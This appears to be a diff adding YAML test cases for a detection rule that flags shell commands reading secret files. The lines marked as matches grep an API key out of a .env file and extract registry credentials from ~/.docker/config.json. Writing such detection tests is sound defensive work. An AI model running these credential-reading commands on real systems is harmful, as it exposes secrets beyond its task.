+ - name: search_pattern_id_rsa_not_a_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "rg \"id_rsa\" docs" }
+ session: { id: s1 }
+ - name: search_pattern_dotenv_not_a_read
+ verdict: no_match
+ events:
+ - event: { action: command.executed }
+ command: { command: "grep -r .env .gitignore" }
+ session: { id: s1 }
+ - name: search_dotenv_as_last_operand
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "grep API_KEY .env" }
+ session: { id: s1 }
+ - name: jq_docker_config_path
+ verdict: match
+ events:
+ - event: { action: command.executed }
+ command: { command: "jq .auths ~/.docker/config.json" }
+ session: { id: s1 }